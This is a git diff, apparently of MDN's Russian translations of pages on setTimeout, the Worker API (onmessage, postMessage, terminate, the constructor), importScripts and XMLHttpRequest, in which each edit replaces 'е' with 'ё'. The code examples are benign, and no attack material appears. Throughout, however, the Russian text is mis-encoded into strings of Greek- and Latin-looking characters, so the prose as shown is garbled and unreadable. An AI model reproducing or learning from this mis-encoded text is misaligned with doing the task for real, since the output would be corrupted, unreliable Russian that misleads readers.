+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½Π° Π²Π΅Π± страницС ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ Π΄Π²Π΅ простыС ΠΊΠ½ΠΎΠΏΠΊΠΈ, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΡ€ΠΈΠ²ΡΠ·Ρ‹Π²Π°ΡŽΡ‚ΡΡ дСйствия setTimeout ΠΈ clearTimeout. НаТатиС Π½Π° ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ установит Ρ‚Π°ΠΉΠΌΠ°ΡƒΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ Ρ‡Π΅Ρ€Π΅Π· Π΄Π²Π΅ сСкунды. Π’Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ сохранён id для clearTimeout. Π’Π°ΠΉΠΌΠ°ΡƒΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΌΠ΅Π½Ρ‘Π½ ΠΏΠΎ Π½Π°ΠΆΠ°Ρ‚ΠΈΡŽ Π½Π° Π²Ρ‚ΠΎΡ€ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ.</p>
<h3 id="HTML_Content">HTML Content</h3>
@@ -143,7 +143,7 @@ var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)}
<h2 id="ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ°_с_this">ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с "<code>this</code>"</h2>
-<p>Когда Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π² <code>setTimeout()</code> (ΠΈΠ»ΠΈ Π² Π»ΡŽΠ±ΡƒΡŽ Π΄Ρ€ΡƒΠ³ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Ссли Π½Π° Ρ‚ΠΎ пошло), Ρ‚ΠΎ Π²Ρ‹Π·ΠΎΠ² Π±ΡƒΠ΄Π΅Ρ‚ осущСствлСн с Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>this</code>. Π­Ρ‚Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Ρ€Π°Π·ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ Π² <a href="/en-US/docs/JavaScript/Reference/Operators/this#Method_binding" title="en-US/docs/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator#Method_binding">JavaScript reference</a>.</p>
+<p>Когда Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π² <code>setTimeout()</code> (ΠΈΠ»ΠΈ Π² Π»ΡŽΠ±ΡƒΡŽ Π΄Ρ€ΡƒΠ³ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Ссли Π½Π° Ρ‚ΠΎ пошло), Ρ‚ΠΎ Π²Ρ‹Π·ΠΎΠ² Π±ΡƒΠ΄Π΅Ρ‚ осущСствлён с Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>this</code>. Π­Ρ‚Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Ρ€Π°Π·ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ Π² <a href="/en-US/docs/JavaScript/Reference/Operators/this#Method_binding" title="en-US/docs/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator#Method_binding">JavaScript reference</a>.</p>
<h3 id="ОбъяснСниС">ОбъяснСниС</h3>
diff --git a/files/ru/web/api/worker/onmessage/index.html b/files/ru/web/api/worker/onmessage/index.html
index 86db26c45f..c51c30e041 100644
--- a/files/ru/web/api/worker/onmessage/index.html
+++ b/files/ru/web/api/worker/onmessage/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Worker/onmessage
---
<p>{{APIRef("Web Workers API")}}</p>
-<p>Бвойство <strong><code>onmessage</code></strong>  интСрфСйса {{domxref("Worker")}} прСдставляСт собой ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ {{domxref("EventHandler")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ событиС {{event("message")}}. Π’ΠΈΠΏ этого события {{domxref("MessageEvent")}} ΠΈ ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ΠΎΒ ΠΊΠΎΠ³Π΄Π° worker-ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ сообщСниС из выполняСмого ΠΈΠΌ ΠΊΠΎΠ΄Π°Β (Ρ‚.Π΅ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β {{domxref("DedicatedWorkerGlobalScope.postMessage")}}Β .</p>
+<p>Бвойство <strong><code>onmessage</code></strong>  интСрфСйса {{domxref("Worker")}} прСдставляСт собой ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ {{domxref("EventHandler")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ событиС {{event("message")}}. Π’ΠΈΠΏ этого события {{domxref("MessageEvent")}} ΠΈ ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ΠΎΒ ΠΊΠΎΠ³Π΄Π° worker-ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ сообщСниС из выполняСмого ΠΈΠΌ ΠΊΠΎΠ΄Π°Β (Ρ‚.Π΅ ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β {{domxref("DedicatedWorkerGlobalScope.postMessage")}}Β .</p>
<div class="note">
<p><span style="font-size: 14px; line-height: 21px;"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong></span>: Π”Π°Π½Π½Ρ‹Π΅ события доступны Π² свойствС data события {{event("message")}}.</p>
diff --git a/files/ru/web/api/worker/postmessage/index.html b/files/ru/web/api/worker/postmessage/index.html
index 47ea7ce99f..6523a0cb64 100644
--- a/files/ru/web/api/worker/postmessage/index.html
+++ b/files/ru/web/api/worker/postmessage/index.html
@@ -27,7 +27,7 @@ translation_of: Web/API/Worker/postMessage
<dt><em>message</em></dt>
<dd><code>Object</code>Β ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹ΠΉ Π²Β <code>worker</code>.Β Π‘ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΡΡ Π² ΠΏΠΎΠ»Π΅ <code>data</code> описания события ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° {{domxref("DedicatedWorkerGlobalScope.onmessage")}}. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π»ΡŽΠ±ΠΎΠ΅Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β ΠΈΠ»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ алгоритм структурированного клонирования, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉΒ Ρ†ΠΈΠΊΠ»ΠΈΡ‡Π΅ΡΠΊΠΈΠ΅ ссылки.</dd>
<dt><em>transfer</em> {{optional_inline}}</dt>
- <dd>ΠΠ΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉΒ <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array">array</a></code> с ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹ΠΌΠΈΒ ({{domxref("Transferable")}}) ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈΒ (ΠΈΠ· Ρ‚Π΅Ρ…, Ρ‡Ρ‚ΠΎ Π±Ρ‹Π»ΠΈ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ Π² <code>message</code>) Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡΒ ΠΏΡ€Π°Π²Π° собствСнности. Если ΠΏΡ€Π°Π²ΠΎ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ пСрСдаСтся, ΠΎΠ½ становится Π½Π΅ΠΏΡ€ΠΈΠ³ΠΎΠ΄Π½Ρ‹ΠΌ (<em>neutered</em>) Π² контСкстС, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±Ρ‹Π» ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½, ΠΈ становится доступным Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² <code>worker</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΎΠ½ Π±Ρ‹Π» ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½.</dd>
+ <dd>ΠΠ΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉΒ <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array">array</a></code> с ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹ΠΌΠΈΒ ({{domxref("Transferable")}}) ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈΒ (ΠΈΠ· Ρ‚Π΅Ρ…, Ρ‡Ρ‚ΠΎ Π±Ρ‹Π»ΠΈ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ Π² <code>message</code>) Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡΒ ΠΏΡ€Π°Π²Π° собствСнности. Если ΠΏΡ€Π°Π²ΠΎ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ пСрСдаётся, ΠΎΠ½ становится Π½Π΅ΠΏΡ€ΠΈΠ³ΠΎΠ΄Π½Ρ‹ΠΌ (<em>neutered</em>) Π² контСкстС, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±Ρ‹Π» ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½, ΠΈ становится доступным Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² <code>worker</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΎΠ½ Π±Ρ‹Π» ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½.</dd>
<dd>ΠŸΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Π΅ (<code>transferable</code>) ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ экзСмплярами классов {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}} ΠΈΠ»ΠΈ {{domxref("ImageBitmap")}}. null Π½Π΅ являСтся допустимым Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΏΡ€Π°Π².</dd>
</dl>
@@ -60,7 +60,7 @@ second.onchange = function() {
<h3 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_с_Transfer">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ с Transfer</h3>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Firefox, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ <code>ArrayBuffer</code> ΠΈΠ· основного ΠΏΠΎΡ‚ΠΎΠΊΠ° Π² <code>ChromeWorker</code>, Π° Π·Π°Ρ‚Π΅ΠΌ <code>ChromeWorker</code> ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ Π΅Π³ΠΎ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² основной ΠΏΠΎΡ‚ΠΎΠΊ.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Firefox, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ <code>ArrayBuffer</code> ΠΈΠ· основного ΠΏΠΎΡ‚ΠΎΠΊΠ° Π² <code>ChromeWorker</code>, Π° Π·Π°Ρ‚Π΅ΠΌ <code>ChromeWorker</code> ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ Π΅Π³ΠΎ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² основной ΠΏΠΎΡ‚ΠΎΠΊ.</p>
<h4 id="Код_основного_ΠΏΠΎΡ‚ΠΎΠΊΠ°">Код основного ΠΏΠΎΡ‚ΠΎΠΊΠ°:</h4>
@@ -86,7 +86,7 @@ console.info('arrBuf.byteLength, Π”Πž ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ:', arrBuf.byteLength);
myWorker.postMessage(
Β Β  Β {
Β Β  Β Β Β  Β aTopic: 'do_sendWorkerArrBuff',
-Β Β  Β Β Β  Β aBuf: arrBuf // Π±ΡƒΡ„Π΅Ρ€ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаСтся 3 строками Π½ΠΈΠΆΠ΅
+Β Β  Β Β Β  Β aBuf: arrBuf // Π±ΡƒΡ„Π΅Ρ€ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаётся 3 строками Π½ΠΈΠΆΠ΅
Β Β  Β },
Β Β  Β [
Β Β  Β Β Β  Β arrBuf // Π±ΡƒΡ„Π΅Ρ€ созданный Π½Π° строкС 9
@@ -150,7 +150,7 @@ arrBuf.byteLength, ΠŸΠžΠ‘Π›Π• ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ: 0 boo
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</div>
<p>{{Compat("api.Worker.postMessage")}}</p>
diff --git a/files/ru/web/api/worker/terminate/index.html b/files/ru/web/api/worker/terminate/index.html
index 68c93a7b08..21682c32ce 100644
--- a/files/ru/web/api/worker/terminate/index.html
+++ b/files/ru/web/api/worker/terminate/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/Worker/terminate
---
<p>{{APIRef("Web Workers API")}}</p>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>terminate()</strong></code> интСрфСйса {{domxref("Worker")}} Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ <code>worker</code>. Π Π°Π±ΠΎΡ‚Π½ΠΈΠΊΡƒ Π½Π΅ даСтся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ свою Ρ€Π°Π±ΠΎΡ‚Ρƒ, ΠΎΠ½ останавливаСтся сразу.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>terminate()</strong></code> интСрфСйса {{domxref("Worker")}} Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ <code>worker</code>. Π Π°Π±ΠΎΡ‚Π½ΠΈΠΊΡƒ Π½Π΅ даётся Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ свою Ρ€Π°Π±ΠΎΡ‚Ρƒ, ΠΎΠ½ останавливаСтся сразу.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -55,7 +55,7 @@ myWorker.terminate();
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</div>
<p>{{Compat("api.Worker.terminate")}}</p>
diff --git a/files/ru/web/api/worker/worker/index.html b/files/ru/web/api/worker/worker/index.html
index 625841b703..0c7a6fcbe2 100644
--- a/files/ru/web/api/worker/worker/index.html
+++ b/files/ru/web/api/worker/worker/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/Worker/Worker
---
<p>{{APIRef("Web Workers API")}}</p>
-<p>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ <code><strong>Worker()</strong></code> создаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref ("Worker")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСт скрипт ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ URL-адрСсу. Π­Ρ‚ΠΎΡ‚ скрипт Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΠ΄Ρ‡ΠΈΠ½ΡΡ‚ΡŒΡΡ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ источника (<a href="/en/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">same-origin policy</a>).</p>
+<p>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ <code><strong>Worker()</strong></code> создаёт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref ("Worker")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выполняСт скрипт ΠΏΠΎ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ URL-адрСсу. Π­Ρ‚ΠΎΡ‚ скрипт Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΠ΄Ρ‡ΠΈΠ½ΡΡ‚ΡŒΡΡ ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ источника (<a href="/en/Same_origin_policy_for_JavaScript" title="Same origin policy for JavaScript">same-origin policy</a>).</p>
<p>Если URL ΠΈΠΌΠ΅Π΅Ρ‚ нСдопустимый синтаксис ΠΈΠ»ΠΈ Π½Π°Ρ€ΡƒΡˆΠ΅Π½Π° ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ° ΠΎΠ΄Π½ΠΎΠ³ΠΎ источника, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ΠΎΒ {{domxref("DOMException")}} Ρ‚ΠΈΠΏΠ° <code>SECURITY_ERR</code>.</p>
diff --git a/files/ru/web/api/workerglobalscope/importscripts/index.html b/files/ru/web/api/workerglobalscope/importscripts/index.html
index ef51b14243..bb59c304c6 100644
--- a/files/ru/web/api/workerglobalscope/importscripts/index.html
+++ b/files/ru/web/api/workerglobalscope/importscripts/index.html
@@ -14,7 +14,7 @@ self.importScripts('foo.js', 'bar.js', ...);</pre>
<h3 id="ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹">ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹</h3>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ запятыми ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β </span></span>{{domxref("DOMString")}} скриптов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹. ΠŸΡƒΡ‚ΠΈ ΠΊ скриптам ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ URL HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ запятыми ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β </span></span>{{domxref("DOMString")}} скриптов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹. ΠŸΡƒΡ‚ΠΈ ΠΊ скриптам ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ URL HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
@@ -39,7 +39,7 @@ self.importScripts('foo.js', 'bar.js', ...);</pre>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Ρ„Π°ΠΉΠ»ΠΎΠΌΒ <code>foo.js</code>, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
+<p>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Ρ„Π°ΠΉΠ»ΠΎΠΌΒ <code>foo.js</code>, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
<pre class="brush: js notranslate">importScripts('foo.js');</pre>
diff --git a/files/ru/web/api/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/index.html
index 8ad7841fec..ad4b1b2090 100644
--- a/files/ru/web/api/xmlhttprequest/index.html
+++ b/files/ru/web/api/xmlhttprequest/index.html
@@ -19,7 +19,7 @@ translation_of: Web/API/XMLHttpRequest
